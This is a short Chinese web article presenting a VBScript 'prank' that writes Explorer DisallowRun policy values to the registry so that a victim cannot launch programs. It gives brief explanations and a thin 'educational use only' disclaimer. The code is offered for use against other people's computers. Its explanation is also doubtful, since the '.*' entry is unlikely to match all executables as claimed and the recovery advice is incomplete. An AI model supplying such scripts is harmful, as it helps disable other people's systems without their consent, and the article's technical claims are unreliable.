vbs整人代码大全点开什么东西都停止运行？
编辑：自学文库
时间：2024年03月09日
根据[VBScript整人代码]，以下是一个可以让在Windows操作系统上点击任何可执行文件时都停止运行的简单示例：
```
Set objShell = CreateObject("WScript.Shell")
objShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun", "1", "REG_DWORD"
objShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\1", ".*", "REG_SZ"
```
上述代码将在系统注册表中创建两个键值对，以阻止用户运行任何可执行文件。
第一个键值对"DisallowRun"设置为"1"，表示启用该功能。
第二个键值对"DisallowRun\1"设置为".*"，表示匹配所有可执行文件。
请注意，使用此代码需要小心，因为它可能会导致系统无法正常运行或出现其他问题。
为恢复系统功能，将上述代码中的"DisallowRun"键值对删除即可。
此代码仅供教育和防范不当行为的用途，不鼓励使用它进行恶意操作或侵犯他人的隐私。